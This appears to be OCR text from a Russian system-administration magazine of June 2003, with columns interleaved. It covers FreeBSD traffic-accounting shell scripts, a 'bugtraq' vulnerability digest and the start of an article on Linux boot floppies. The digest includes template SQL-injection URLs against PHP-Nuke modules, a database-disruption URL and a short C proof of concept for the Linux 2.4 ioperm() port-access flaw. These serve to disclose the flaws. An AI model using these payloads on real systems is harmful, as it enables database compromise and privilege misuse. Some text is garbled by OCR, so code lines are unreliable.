ние больше нуля, то в скриптах это, напротив, нуль, по-
#!/bin/sh скольку именно он является индикатором успешного за-
who | awk '{if(substr($2,1,4)=="cuaa")↵
printf("%s %s\n",$1,$2)}' | while read user ttyname вершения программы.
do Вместе с тем синтаксис управляющих конструкций в
grep ":" /etc/ppp/options.$ttyname \
| awk -F: '{printf(" %s %s\n",user,$2)}' user=$user целом похож. Сильно отличается разве что цикл for, в ко-
done тором присутствует конструкция «variable in word ...», по-
зволяющая одинаково легко пройтись по всем файлам
Предполагается, что в данном случае за каждым пор- каталога, заменив «word» на «*» (при этом «variable» пос-
том закреплен свой IP-адрес. ледовательно принимает значение имени каждого фай-
ла), или, как в нашем случае, перебрать все поля списка,
Для хранения временных файлов используется специ- записанного в переменную.
альный каталог с правами 1777 («sticky» бит). Благодаря Выражение типа [ $string ] истинно, если строка не пу-
этому биту только владелец файла, каталога или супер- стая. Цикл с [ ! ] в качестве параметра бесконечный, пре-
пользователь может удалить или переименовать такой рвать его можно командой break.
файл. В качестве дополнительной меры безопасности Пример непосредственного использования кода завер-
необходимо позаботиться о том, чтобы никто не смог пре- шения программы – запуск ps с параметром номера ро-
дугадать имя временного файла. Именно эту задачу вы- дительского процесса, $PPID. После остановки родитель-
полняет mktemp. Каталог выбирается в соответствии с ского процесса (ps не может его найти) скрипт заверша-
содержимым переменной TMPDIR. Ключ -q указывает не ется.
выводить сообщения об ошибках, в случае неудачи при И наконец, eval служит здесь для объединения выво-
создании файла произойдет выход из скрипта с кодом да двух скриптов в один поток для последующей переда-
завершения 1. Ключ -t задает шаблон, к которому в каче- чи tee, которая дублирует входной поток в указанный файл
стве расширения добавляется случайная последователь- и в выходной поток, который diff затем сравнивает с ра-
ность символов. нее сохраненным файлом, показывая только изменения.
Способ, которым инициализируется переменная В скрипте count_pppd список пользователей, получен-
tmpfile, называется подстановкой – переменной присваи- ный от who, преобразуется к виду «user ttyname», кото-
вается вывод команды, заключенной в обратные кавыч- рый затем в цикле передается read. Назначение read –
ки. Код завершения команды mktemp используется в даль- считывать в переменные строки, разделителями полей в
нейшем. Последовательность || здесь означает ИЛИ (не которых служат пробелы (или содержимое переменной
путать с регулярными выражениями). То есть если mktemp IFS, если она установлена).
завершится неудачно, будет запущена вторая команда, в Для того чтобы использовать такую переменную в awk,
данном случае «exit 1». необходимо сначала присвоить ее значение внутренней
Другой часто применяемый способ подстановки – ис- переменной awk, конструкция user=$user означает имен-
пользование конструкции «$()» вместо прямых кавычек. но это. Ключ -F меняет значение разделителя полей по
Здесь он используется для инициализации переменной умолчанию.
«$bindir». Несколько более сложная конструкция «if(substr
Код завершения – это число, которое равно нулю, если ($2,1,4)=="cuaa")» используется, чтобы выбрать пользо-
программа завершается успешно или больше нуля, если вателей, зашедших по удаленному доступу. В данном слу-
неудачно. Число это содержится в переменной «$?». чае именно с помощью awk сделать это проще всего, тог-
Явно эта переменная используется в скрипте, когда да как для grep потребовалось бы довольно сложное ре-
нужно поменять местами номера 0 и 1. Проверка на экви- гулярное выражение.
валентность (-eq) единице с помощью команды test дает
требуемое значение. Кстати, все ключи команды test яв- В качестве проверки каждый из приведенных скрип-
ляются аббревиатурами, что помогает их запомнить. тов можно запустить по отдельности, результаты своей
Код завершения – это именно то, на чем работают в работы они выдают на стандартный вывод. Скрипт
скриптах все управляющие структуры. К примеру, в час- count_user реализует требуемый протокол и отвечает на
то встречающемся [ ] первая скобка – не что иное, как вопросы «когда, кто, откуда». Это само по себе уже пред-
жесткая ссылка на test, а вторая скобка – завершающий ставляет некоторый интерес (не нужно анализировать
параметр этой программы, который работает, когда она логи отдельных приложений, чтобы ответить на этот воп-
вызывается именно как [. Команда [ может быть и встро- рос), но в первоначальной постановке задачи основным
ена в оболочку, но сути дела это не меняет. вопросом было «сколько». Для ответа на этот вопрос не-
Таким образом, конструкцию [ ] или test используют достаточно просто добавить правила в таблицу ipfw, по-

№6(7), июнь 2003 39


администрирование
требуется организовать взаимодействие между ipfw и ipa. можно подключить этот скрипт как непосредственно, так
В простейшем случае направление подсчета будет и через tcp-клиент. Способ подключения определяет пе-
только одно, а значит, достаточно одного правила ipa с ременная «$connect».
одним правилом ipfw внутри (их может быть и больше) Имя скрипта, ответственного за добавление/удаление
на одного пользователя. Очень часто это направление правил, определяет переменная «$count_fw», а скрипта,
подсчета – входящий трафик из внешней сети к пользо- осуществляющего взаимодействие с системой учета тра-
вателю (количество выкачанных страничек, музыки и фика переменная «$count_prog». В нашем случае это
проч.). скрипты count_ipfw и count_ipa. Последний, запущенный
В расчете на одного пользователя эта часть конфи- с параметрами $action и $username, выдает номер прави-
гурации ipa получится такой: ла, которое затем в качестве одного из параметров пере-
дается скрипту count_ipfw.
rule username {
ipfw = 32001
} Переменная $$ содержит номер процесса скрипта. При
запуске скрипт записывает ее значение в файл /var/run/
Номер около 32000 взят неслучайно. Всего в ipfw мо- count.pid. Встроив проверку на соответствие этого значе-
жет быть до 65535 правил (последнее – всегда правило ния реально работающему процессу, можно предотвра-
по умолчанию) и этот номер находится примерно посе- тить запуск более одного процесса count_user.
редине таблицы. Прежде чем передавать данные на обработку скрип-
Скрипт, организующий взаимодействие между ipfw там count_ipa и count_ipfw, с помощью grep производится
и ipa, в основном выполняет следующую функцию: со- проверка на соответствие определенному шаблону. По-
поставление имени пользователя (а значит, и имени лучаемым данным не всегда можно доверять, особенно
правила ipa) с номером правила ipfw. Поскольку кон- если они передаются по сети с другого сервера. Тем бо-
фигурация ipa содержит такое сопоставление, логично лее, что все действия на стороне шлюза во внешнюю сеть
производить его на основе этой конфигурации, то есть производятся под root (необходимо для добавления/уда-
на ее основе при известном имени пользователя полу- ления правил ipfw).
чать его номер. Собранные данные вместе с датой и временем запи-
сываются в лог-файл.
#!/bin/sh
bindir=$(dirname $0) || exit 1
Скрипт count_ipa, получив имя пользователя, должен
connect="$bindir/count_user" выдать номер правила ipfw. Задача эта не самая простая,
#connect="$bindir/count_client 192.168.0.1 27777"
count_fw=ipfw но ее можно сильно облегчить, если наложить на файл
count_prog=ipa конфигурации некоторые ограничения. Во-первых, выде-
count_startnum=32000
logfile="/var/log/utcount.log" лить файл конфигурации пользователей в отдельный
файл и подключить его соответствующей директивой:
export count_startnum

if [ -f /var/run/count.pid ] && ps `cat /var/run/count.pid` include {


>/dev/null 2>&1 file(?) = /usr/local/etc/ipa.users
then }
echo "Another count process already run. Stop it and try
again." >&2
exit 1 Во-вторых, на каждого пользователя должно прихо-
fi диться по три строки, а номера правил должны последо-
trap : 1 вательно возрастать на 1 с каждым правилом.
trap : 2 Два последних ограничения довольно необычны, но
trap : 15
set -T чтобы их снять, потребовалось бы существенно усложнить
trap "rm -f /var/run/count.pid; exit" 1 2 1 скрипт. Соблюдать же их просто: достаточно не редакти-
echo -n $$ > /var/run/count.pid || exit 1 ровать файл вручную, а предоставить это скрипту:
$connect | while read action username address
do #!/bin/sh
if echo "$action $username $address" \
| grep -E -v -q "^[+-] [a-z].* ([0-9]{1,3}\.){3}[0- ipa_users="/usr/local/etc/ipa.users"
9]{1,3}$" username_prefix="_"
then
continue action=$1 ; username=$2
fi
usernum=`$bindir/count_$count_prog $action $username` ipa_add_user ()
$bindir/count_$count_fw $action $usernum $address {
echo "[`date '+%d.%m.%y %H:%M'`] $action $username username=$1 ; usernum=$2
$address $usernum" \ printf "rule $username_prefix$username {\n\tipfw =
>> $logfile $usernum\n}\n" \
done >> $ipa_users
if [ -r /var/run/ipa.pid ] ; then
kill -HUP `cat /var/run/ipa.pid` >/dev/null 2>&1
Назовем этот скрипт count_gate. sleep 5
От скрипта, собирающего данные о пользователях, fi
}
они в цикле передаются read через канал, к которому

40
администрирование
несовместимости уже имеющегося набора правил и того
if [ -f $ipa_users ] ; then набора, что модифицируются скриптом count_ipfw, про-
startline=`grep -n "^rule $username_prefix$username " являются именно на этом этапе. Написать сразу что-то
$ipa_users \
| awk -F: '{print $1}'` более-менее универсальное практически невозможно,
if [ $startline ] ; then поэтому скрипт рассчитан только на один стандартный тип
usernum=`head -n $(expr $startline + 1) $ipa_users
\ настройки ipfw: OPEN.
| tail -n 1 | awk -F= '{print $2}'`
else
usernum=`expr $count_startnum + $(wc -l < firewall_enable="YES"
Для этого нужно указать в /etc/rc.conf:
$ipa_users) / 3 + 1` firewall_type="OPEN"
ipa_add_user $username $usernum
fi
else
usernum=`expr $count_startnum + 1`
ipa_add_user $username $usernum Кстати, если в вашем ядре еще нет поддержки ipfw,
fi совсем необязательно его перекомпилировать. Достаточ-
if [ "$action" = "-" ] ; then но загрузить соответствующий модуль, и чтобы загрузка
/usr/local/sbin/ipa -k dump >/dev/null 2>&1 выполнялась автоматически при каждом старте системы,
fi
добавить соответствующую строку в /boot/loader.conf (за
echo $usernum примерами – в /boot/defaults/loader.conf). Если эти мани-
пуляции производятся на удаленном сервере, не забудь-
Если файл конфигурации еще не существует, он со- те о мерах предосторожности.
здается и добавляется правилом с номером Команда «ipfw show» при настройках ядра (или моду-
«$count_startnum + 1». Если же файл существует, то про- ля) по умолчанию покажет следующее:
исходит проверка на наличие в нем пользователя с име-
# ipfw show
нем «$username», и в случае, если такой пользователь 00100 0 0 allow ip from any to any via lo0
есть, выбирается имя соответствующего правила. Если 00200 0 0 deny ip from any to 127.0.0.0/8
00300 0 0 deny ip from 127.0.0.0/8 to any
пользователя нет, он добавляется с номером правила, вы- 65000 0 0 allow ip from any to any
численным на основе числа строк в файле (очень просто, 65535 0 0 deny ip from any to any
но именно это накладывает описанные выше ограниче-
ния). Переменная $username_prefix добавляется в файл Настройка «OPEN» предполагает добавление прави-
конфигурации перед именем пользователя, то есть если ла 65000, разрешающего все всем, так что неважно, с
она равна «_», то название правила изменится с username какими параметрами по умолчанию (правило 65535) со-
на _username, что существенно облегчит выборку и сор- бран ipfw.
тировку результатов подсчета трафика командой ipastat.
Непосредственное взаимодействие с ipa производит- Поиск совпадений в таблице ipfw прекращается сразу
ся в двух случаях: когда добавляются пользователи, ipa после первого же совпадения с правилом deny или allow.
посылается сигнал HUP, а когда правило удаляется из Этим можно воспользоваться, чтобы отфильтровать тра-
таблицы ipfw, происходит сброс накопленной информации фик от самого шлюза во внешнюю сеть к пользователям
командой «ipa -k dump». (правило 32000):

В приведенном только что скрипте главное – не запу- #!/bin/sh


таться в переменных. Скрипту в качестве параметров пе- fwcmd="/sbin/ipfw"
редаются «$action $username», которые внутри него ста- usernum=$2 ; address=$3
новятся соответственно $1 и $2. Так же ведет себя функ- case $1 in
ция ipa_add_user, которая располагает переданные «$2 +)
action=add
$usernum» в порядке поступления, $1 и $2. Внутренние if ! $fwcmd show $count_startnum >/dev/null 2>&1 ; then
переменные awk обозначаются так же, но содержат поля $fwcmd $action $count_startnum allow ip from me
to any
входного потока. Чтобы частично устранить путаницу, fi
сначала переменным даются соответствующие алфавит-
if ! $fwcmd show $usernum 2>/dev/null | grep -q $address
ные имена, а затем уже они используются по назначению. then
Функция printf позволяет форматировать текст при вы- $fwcmd $action $usernum count ip from any to
$address
воде, например добавлять в строку переносы «\n». Ком- fi
бинация команд grep, head и tail, где для первой номер ;;
-)
строки вычисляется с помощью expr, позволяет выделить action=delete
из файла одну строку, из которой awk выделяет номер $fwcmd $action $usernum count ip from any to $address
;;
правила. В другом варианте (правила еще нет) количе- *)
ство строк в имеющемся файле подсчитывает команда exit 1
;;
«wc -l». esac

Как только получен номер правила, остается лишь В результате запуска count_gate таблица ipfw приоб-
добавить его в таблицу ipfw. Всевозможные проблемы ретает такой вид:

№6(7), июнь 2003 41


администрирование
Сервер не сложно организовать на основе inetd, по-
00100 0 0 allow ip from any to any via lo0
00200 0 0 deny ip from any to 127.0.0.0/8 требуется добавить в /etc/services:
00300 0 0 deny ip from 127.0.0.0/8 to any
32000 0 0 allow ip from me to any
32001 0 0 count ip from any to 192.168.0.167 count 27777/tcp
32002 0 0 count ip from any to 192.168.0.174 И в /etc/inetd.conf примерно такую строку:
65000 0 0 allow ip from any to any
65535 0 0 deny ip from any to any
count stream tcp nowait ↵
nobody /usr/local/bin/count_user count
Конечно, можно вместо «count» написать «allow», и до-
бавить примерно такое правило: После перезапуска inetd, который выполняется коман-
дой «killall -HUP inetd», сервер заработает. Порт 27777
60000 0 0 deny ip from any to 192.168.0.0/24 выбран произвольно.

В таком случае воспользоваться доступом к внешней


сети смогут только авторизованные пользователи. Но Стандартный сервер inetd предоставляет упрощенный
будьте готовы к тому, что при любом сбое (ошибки в скрип- способ создания собственных серверов без написания
те, неверный алгоритм...) могут начаться проблемы. сетевого кода. В данном случае скрипт использует стан-
дартный вывод, как обычно, а данные через открытый
Команда «ipfw show» – неплохое средство диагности- inetd-сокет передаются по сети.
ки. Во второй колонке содержится количество попавших Клиент можно использовать любой, например, telnet
под правило пакетов, а в третьей – количество байт (сра- или nc, установленный из пакета netcat. Его же, кстати,
зу после запуска обе могут быть пусты). В скрипте можно использовать в качестве сервера. Еще лучше по-
count_ipfw также используется эта команда, для того что- дойдет клиент, который отслеживает состояние роди-
бы выяснить, существует ли соответствующее правило. тельского процесса и завершает работу в случае его
Взаимодействие скриптов может быть представлено отсутствия (то же самое делает count_user в случае,
на такой схеме: когда его локально запускает count_gate). Это помога-
ет избежать проблем с лишними процессами после ос-
--------------------------- тановки count_gate.
| samba, pppd, ... | user | --> +/- user address -->
--------------------------- Для корректного подсчета трафика очень важно пра-
--------------------- вильно настроить ipa. Подробные рекомендации по на-
| gate | ipfw + ipa |
--------------------- стройке находятся по адресу http://ipasystem.sourceforge
.net/, в том числе на русском. Наиболее важные парамет-
Список слева можно расширить. Первое, что потребу- ры, которые необходимо установить, находятся в секции
ется добавить, – скрипт, выдающий статический список global. Вот пример файла /usr/local/etc/ipa.conf:
имен пользователей и адресов, не входящих ни в домен
Samba, ни в список пользователей удаленного доступа. global {
maxchunk = 1G
Связка «ipfw + ipa» может быть заменена на любую дру- update_db_time = 1m
гую, выполняющую аналогичные функции. append_db_time = 30m
}
Таким образом, вся система учета основана на двух
«каркасных» скриптах, в значительной мере абстрагиро- include {
file(?) = /usr/local/etc/ipa.users
ванных от конкретных приложений. Общаться по выбран- }
ному протоколу эти скрипты могут как непосредственно,
так и через tcp-клиент. В первом случае запускаемый Скрипт в start/stop стиле, соответствующий tcp-клиент,
count_gate запускает, в свою очередь, count_user, во вто- а также все входящие в пакет скрипты можно найти по
ром он запускает count_client, который соединяется с сер- адресу http://utcount.sourceforge.net/. На момент написа-
вером count_user. ния статьи последняя версия пакета 0.04.

42
bugtraq
SQL-инъекция в нескольких модулях Уязвимость обнаружена в механизме обработки
в PHP-Nuke Javascript-кода. Удаленный пользователь может сконст-
Несколько уязвимостей обнаружено в PHP-Nuke. Удален- руировать злонамеренный PDF-документ, чтобы записать
ный пользователь может выполнить произвольные код в Plug-ins папку целевого пользователя. Соответствен-
SQL-команды на связанной базе данных, а также нару- но отформатированные файлы в этой папке автоматичес-
шить работу базы данных. ки устанавливаются и выполняются при запуске Acrobat.
Сообщается, что удаленный пользователь может скон- Сообщается, что уже существует вирус, способный эк-
струировать специально обработанный URL, чтобы выпол- сплуатировать эту уязвимость.
нить произвольные SQL-команды на связанной базе дан- Уязвимость обнаружена в Adobe Acrobat (Full Version)
ных. Уязвимы следующие переменные: 5.0-5.0.5.
'secid' â ìîäóëå Sections
'sid' â ìîäóëå AvantGo Удаленное выполнение произвольного
'pollID'
'cid'
â
â
ìîäóëå
ìîäóëå
Surveys
Downloads
кода в AnalogX Proxy
'id' â ìîäóëå Reviews Переполнение буфера обнаружено в AnalogX Proxy. Уда-
'cid' â ìîäóëå Web_Links ленный пользователь может выполнить произвольный код
Пример: на целевой системе.
Network Intelligence India сообщает, что удаленный
http://[target]/
modules.php?name=Sections&op=listarticles&secid=`[YOUR QUERY] пользователь может представить URL, который содержит
http://[target]/ более 340 символов, чтобы вызвать переполнение буфе-
modules.php?name=Sections&op=viewarticle&artid=`[YOUR QUERY]
http://[target]/ ра в прокси-сервере.
modules.php?name=Sections&op=printpage&artid==`[YOUR QUERY] Согласно сообщению, Proxy принимает подключения
http://[target]/modules.php?name=AvantGo&file=print&sid=`[YOUR
QUERY] на всех интерфейсах в конфигурации по умолчанию. Уда-
http://[target]/modules.php?name=Surveys&pollID=`[YOUR QUERY] ленный пользователь может подключиться к 6588 и пред-
http://[target]/modules.php?name=Surveys&op=results&pollID=`[YOUR
QUERY]&mode=&order=0&thold=0 ставить специально обработанный URL, чтобы выполнить
http://[target]/ произвольный код на прокси-сервере с административны-
modules.php?name=Downloads&d_op=viewdownload&cid=` [YOUR QUERY]
http://[target]/ ми привилегиями.
modules.php?name=Downloads&d_op=viewdownload&cid=`[YOUR Уязвимость обнаружена в AnalogX Proxy 4.13.
QUERY]&orderby=titleD
http://[target]/modules.php?name=Reviews&rop=showcontent&id=`
[YOUR QUERY]
http://[target]/
Уязвимость в ioperm() позволяет
modules.php?name=Web_Links&l_op=viewlink&cid=`[YOUR QUERY] локальному пользователю обращаться
http://[target]/
modules.php?name=Web_Links&l_op=MostPopular&ratenum=`[YOUR
к привилегированным I/O-портам
QUERY]&ratetype=num Уязвимость обнаружена в ядре Linux 2.4 в системном вы-
http://[target]/modules.php?name=Downloads&ratinglid=[FILE TO зове 'ioperm'.
RATE]&
http://[target]/ Сообщается, что локальный пользователь может полу-
modules.php?name=Web_Links&ratinglid=96&ratinguser=? чить доступ на чтение и запись к привилегированным I/O-
&ratinghost_name=?&rating=99999999999999999999999 9999999999
портам (например, к портам 1023 и ниже). Пример: про-
Также сообщается, что удаленный пользователь мо- грамма позволяет непривилегированному пользователю
жет нарушить работу целевого сервера базы данных. читать и записывать в I/O-порты с адресом ниже 0x3ff (1023):
Пример:
#include
#include
http://[target]/ #include
modules.php?name=Downloads&ratinglid=[FILE TO
RATE]&ratinguser=? int main(int argc, char **argv)
&ratinghost_name=?&rating=9999999999999999999
9999999999999999999999999999999999999999999999999999 if (argc < 2) {
(void) fprintf(stderr, "Usage: %s PORT
Уязвимость обнаружена в PHP-Nuke 5.5, 6.0, 6.5. [VALUE]\n", argv[0]);
return (2);
}

Выполнение произвольного кода if (ioperm(1023, 1, 0) == -1) {


в Adobe Acrobat при чтении perror("ioperm");
return (1);
злонамеренного PDF-файла }
Уязвимость обнаружена в полной версии Adobe Acrobat. if (argc < 3) {
Удаленный пользователь может создать злонамеренный (void) printf("0x%02x\n",
inb(atoi(argv[1])));
PDF-файл, чтобы выполнить произвольный код на целе- } else {
вой системе пользователя. outb(atoi(argv[2]), atoi(argv[1]));
}
Когда злонамеренный PDF-файл загружен в Adobe
Acrobat целевого пользователя, произвольный код будет return (0);
установлен на целевой системе пользователя и будет вы- Уязвимость обнаружена в 2.4, prior to 2.4.21-rc2.
полнен во время следующей загрузки Acrobat.
Бесплатная версия Acrobat Reader неуязвима. Составил Александр Антипов

№6(7), июнь 2003 43


администрирование

СОЗДАНИЕ
ЗАГРУЗОЧНЫХ ДИСКЕТ
И CD-ДИСКОВ LINUX

44
администрирование
Для чего применяются «микро-дистрибутивы»? Примеров
применения можно найти море:
 аварийная дискета;
 маршрутизатор (www.linuxrouter.org);
 брандмауэр;
 бездисковый клиент NFS;
 утилита для клонирования системы;
 система для контроля дисковых разделов;
 смена «забытого» пароля;
 система, предназначенная для обучения новичков;
 набор для комфортной работы на любом компьютере;
 сервер печати;
 любой сетевой сервер.

На самом деле этот список можно продолжать беско-


нечно, т.к. существует множество ситуаций, когда необ-
ходима мобильность системы и возможность запуска в
аварийных ситуациях. Большинство современных дист-
рибутивов поставляется с аварийной консолью, помога-
ющей справиться с проблемами.
На сайте www.linuxlinks.com можно найти огромное ко-
личество ссылок на различные виды мини-дистрибутивов,
каждый из которых предназначен для решения опреде-
лённых задач. Но я не думаю, что каждый готов выкачи-
вать мегабайты из сети, чтобы решить свою конкретную
проблему. Кроме этого, весьма полезно иметь под рукой
мульти-загрузочный CD, содержащий несколько мини-ди-
стрибутивов на одном диске. Обо всем этом вы можете
узнать, прочитав эту статью. Также хорошим источником
информации является Bootdisk-HOWTO.
Перед созданием загрузочного диска необходимо чет-
ко представлять цель, с которой этот диск создается, что-
бы впоследствии не пожалеть о бесполезно затраченном
времени. Выбор ядра также должен определяться конеч-
ной целью. В любом случае при выборе ядра учтите сле-
дующие факты:
 ядра 2.2 версий обычно меньше по размеру, но менее
В этой статье пойдет речь о создании функциональны;
загрузочных дискет и CD-дисков Linux,  ядро следует брать как можно новее (но обязательно
которые бывают полезны, а зачастую и из стабильной ветки), например, на момент написания
необходимы во многих ситуациях, начиная от этой статьи я расцениваю «новыми» ядра 2.4.20 и 2.2.20
банального восстановления забытого пароля и выше; новые ядра используют компрессию bzip2 и
и заканчивая работой в качестве print-сервера. дают выигрыш в размере;
 если не планируется работа с сетью, то отказ от ис-
пользования TCP/IP дает очень существенный выиг-
рыш в размере (до 300 Кб!);
 в ядро обязательно нужно включить поддержку ext2fs
и ramdisk, если планируется загрузка ядра при помо-
щи syslinux, то также необходимо включить поддерж-
ку msdosfs;
 лучше всего выключить оптимизацию ядра под опре-
деленный процессор, лучше всего будет оставить
i386;
 я не очень уверен насчет целесообразности использо-
вания модулей, но если нужна максимальная перено-
симость, то модули применять, конечно, можно;
 если вам необходим NFS-дистрибутив, то необходимо
ВСЕВОЛОД СТАХОВ установить поддержку nfs на странице настройки фай-
ловых систем (в make menuconfig);

№6(7), июнь 2003 45


администрирование
 наконец, последний и самый важный совет – удаляйте CD, аварийное восстановление системы и т. д. Ядро для
из ядра все лишнее без сожаления, первыми канди- таких дистрибутивов строится без особых ограничений к
датами на удаление являются редкие устройства, зву- размеру (т.к. в основном полноценное ядро занимает око-
ковые карты, система netfilter и прочие полезности со ло 1 Мб) и обязательно должно содержать TCP/IP и под-
страницы networking options, хотя если вы создаете nfs- держку NFS (см. раздел filesystems в make menuconfig).
дистрибутив, то от этого правила можно отойти, т.к. После компиляции ядра (модули этого ядра должны быть
основная файловая система все равно будет находить- установлены на NFS-раздел в соответствующий каталог)
ся на удаленной машине, а ядро фактически в любом необходимо сформировать ext2fs на дискете:
случае влезает на дискету.
# mke2fs -N 300 /dev/fd0
Каким образом будет грузиться ядро? Существует не-
сколько способов загрузки ядра с дискеты: Опция -N 300 говорит, что необходимо зарезервиро-
 ядро, будучи записанным на дискету, начиная с 0-го вать место для 300 inode (хотя в данном случае это число
сектора, распаковывается в память и запускается при можно и уменьшить на порядок) для экономии места.
помощи так называемого kernel loader, этот способ хо- После формирования файловой системы записываем
рош своей быстротой и простотой реализации (фак- на дискету ядро:
тически ядро записывается непосредственно на дис-
кету без файловой системы), но при этом невозможно # mount -t ext2fs -o rw /dev/fd0 /mnt/tmp
# cp $KERNELSRC/arch/i386/boot/bzImage /mnt/tmp/vmlinuz
непосредственно указывать параметры ядру, что не # umount /dev/fd0
подходит для создания NFS-дистрибутивов;
 на дискете формируется обычная файловая система После этого начинаем настройку lilo:
ext2, и ядро записывается непосредственно на фай-
ловую систему, при этом возможно манипулирование /tmp/lilo.conf.tmp
boot=/dev/fd0
с дискетой как с обычным ext2-томом, загрузка проис- prompt
ходит при помощи lilo, записанного на дискету (необ- timeout=50
compact
ходимо формировать специальный конфигурационный vga=normal
файл для lilo, что будет объяснено далее), преимуще- read-only
menu-title=" NFS-distributive "
ства такого способа в том, что при помощи lilo очень image=/vmlinuz
просто передавать ядру определённые параметры (что label=linux
append="root=/dev/nfs nfsroot=192.168.1.1:/exports/debian ↵
необходимо для использования NFS в качестве root- ip=::::nfs-client::bootp"
устройства), недостаток – файловая система на дис-
кете не сжата, поэтому создание root-fs на дискете ли- Несколько поясню значения параметров:
шено смысла, т.к. на несжатую систему весьма слож-  root=/dev/nfs – указывает ядру, что root-fs находится
но записать все необходимое; на NFS-сервере;
 на дискете формируется msdosfs, и загрузка ядра про-  nfsroot – параметр, указывающий ядру, где искать
исходит из msdos-программы syslinux, при таком спо- nfsroot в виде:
собе появляется возможность работы с такой диске-
той в msdos (win*), сама root файловая система сжи- nfsroot=[<server-ip>:]<root-dir>[,<nfs-options>]
мается при помощи zip.
 root-dir должна указываться как абсолютный путь на сер-
Самая большая проблема при создании floppy-дистри- вере (как это указано в /etc/exports на NFS-сервере);
бутивов – это формирование корневой файловой системы  ip – настройки IP-протокола, в данном примере все на-
(которая обычно загружается в память). Корневая файло- стройки получаются от bootp-сервера, в общем слу-
вая система не находится на дискете в NFS-дистрибути- чае этот параметр выглядит таким образом:
вах, что сильно облегчает создание загрузочной дискеты.
Поэтому прежде чем говорить о создании дискет с авто- ip=<client-ip>:<server-ip>:<gw-ip>:<netmask>:<hostname>: ↵
<device>:<autoconf>
номной root-fs, я расскажу о создании NFS-дистрибутивов.
NFS-дистрибутивы содержат на дискете только ядро, если какое-либо поле не указывается, то просто ставит-
которому при загрузке передается параметр nfsroot, по- ся :, например, для настройки статического IP (что при-
казывающий, что root-fs находится на NFS-сервере. Ядро годится для использования, например, в print-сервере):
монтирует NFS и запускает init. Все операции ядра с root-
fs происходят по протоколу rpc в открытом виде, что, ко- ip=192.168.1.102:192.168.1.1:192.168.1.1:255.255.255.0: ↵
print-server:eth0:
нечно, небезопасно. Поэтому не рекомендуется хранить
ценные данные на NFS-разделах, особенно это касается Если используется автоконфигурирование IP при по-
паролей (для NFS-системы обязательно иметь особые па- мощи bootp или rarp, то необходимо включить поддержку
роли, которые также полезно время от времени менять). этих протоколов в ядре (IP: kernel level autoconfiguration
NFS-системы довольно сильно нагружают сеть и годятся на странице Networking options). В качестве bootp-серве-
только для LAN. NFS-дистрибутивы полезны во многих ра можно применять ISC dhcpd, но в директиве range дол-
случаях: резервное копирование, клонирование, запись жно присутствовать ключевое слово dynamic-bootp (range

46
администрирование
dynmaic-bootp 192.168.2.1 192.168.2.100), и для каждого ...cut...
image=/vmlinuz
клиента bootp должна быть отдельная директива host: ...cut...
password="my_password"
mandatory
host hostname{
[parameters] На этом я завершаю описание построения NFS-дист-
}
рибутива и перехожу к рассказу о создании автономных
Эта директива разрешает выдачу IP-адресов только оп- дистрибутивов.
ределённым хостам. Основное отличие автономного дистрибутива от NFS-
Настройка сервера NFS также не должна вызвать осо- дистрибутива в том, что корневая файловая система ав-
бых проблем. При компиляции ядра нужно включить под- тономного дистрибутива расположена на дискете. Глав-
держку nfs-сервера и установить программы mountd и nfsd. ная проблема такого дистрибутива – небольшой объем
После этого необходимо выбрать каталог и установить туда дискеты. Поэтому приходится запаковывать root-fs для
GNU/Linux. Вариантов может быть несколько: можно взять записи на дискету и распаковывать при загрузке ядра в
жесткий диск, установить на него Gnu/Linux и примонтиро- память. Такая схема позволяет уместить на дискету го-
вать в необходимый каталог на сервере, а можно просто раздо больше информации и избежать другого неприят-
скопировать все файлы с дискового мини-дистрибутива. ного недостатка дискеты (и в меньшей степени компакт-
У нас, например, в качестве NFS-системы используется диска) – неспешности операций ввода/вывода.
debian. Далее необходимо отредактировать файл /etc/exports: Формирование корневой файловой системы – процесс,
требующий определённых навыков, поэтому я более под-
/exports/debian nfs-client(rw,no_root_squash) робно остановлюсь на этом этапе создания автономного
дистрибутива.
где: Как ядро определяет, какое устройство использовать
 /exports/debian – каталог, в котором расположена ос- в качестве root-fs? Во-первых, исследуется параметр root
новная nfs-система; (если ядру не передано никаких параметров, то оно начи-
 nfs-client – имя хоста нашего мини-дистрибутива, оп- нает исследовать блочные устройства и ищет первую ext2-
ции rw и no_root_squash говорят о возможности мон- fs), далее используется параметр initrd (initial ram disk).
тирования этим клиентом этого каталога для записи и Внимание: для поддержки initrd необходимо включить
о том, что этот клиент может осуществлять доступ к опцию Block devices → Initial RAM disk support.
данному каталогу от имени суперпользователя. Этот параметр указывает на компрессированную фай-
ловую систему, которая распаковывается в память и ис-
Далее необходимо запустить mountd и nfsd: пользуется в качестве root-fs на этапе инициализации ядра
(в дальнейшем корневая ФС может измениться, что полез-
# rpc.mountd но, например, для загрузки модульного ядра, когда основ-
# rpc.nfsd
ной корневой раздел имеет ФС, которая не вкомпилирова-
Можно проверить правильность их работы при помо- на в ядро; в этом случае единственным выходом является
щи команд: создание initrd, содержащего необходимые модули).
Что представляет из себя initrd, и как его создавать? На
# rpcinfo -p самом деле initrd – это обычное устройство, на котором
# showmount --export
расположена корневая ФС. Создание ramdisk не должно
После этого завершаем построение нашего дистрибу- представлять особых проблем. Для начала необходимо
тива и записываем на дискету lilo. создать некомпрессированный образ ram-диска (он дол-
Для начала необходимо скопировать загрузочный сек- жен быть достаточных размеров, обычный размер – 3 Мб.):
тор lilo с жесткого диска на дискету:
# dd if=/dev/zero of=/tmp/initrd.img bs=1024 count=3072
# mount -t ext2 /dev/fd0 /mnt/tmp
# mkdir /mnt/tmp/boot
# cp /boot/boot.b /mnt/tmp/boot Изначально мы заполняем весь образ 0, поэтому при сжа-
тии лишние нули места занимать не будут (самая плохая
также полезно будет скопировать конфигурационный идея – копировать в образ /dev/random, т.к. никакому сжа-
файл lilo: тию он не подвергается, и размер ram-диска может суще-
ственно превышать фактический размер дискеты.
# cp /tmp/lilo.conf.tmp /mnt/tmp/lilo.conf Далее создаем ext2fs (обратите внимание на число inode):
# /sbin/lilo -v -C /mnt/tmp/lilo.conf -r /mnt/tmp

Опция -r говорит lilo о необходимости использовать дру- # mke2fs -N 360 -m 0 /tmp/initrd.img


гой корневой каталог (в нашем случае дискету).
Некоторые, возможно, захотят защитить свою диске- монтируем образ (в ядре должна быть включена поддер-
ту паролем, хотя я не очень бы полагался на надежность жка loop devices – см. на странице Block devices -> Loop
такой защиты (изготовить свою дискету не составит тру- device support):
да), но все-таки опишу необходимые для этого настройки
в lilo.conf: # mount -t ext2 -o loop /mnt/tmp /tmp/initrd.img

№6(7), июнь 2003 47


администрирование
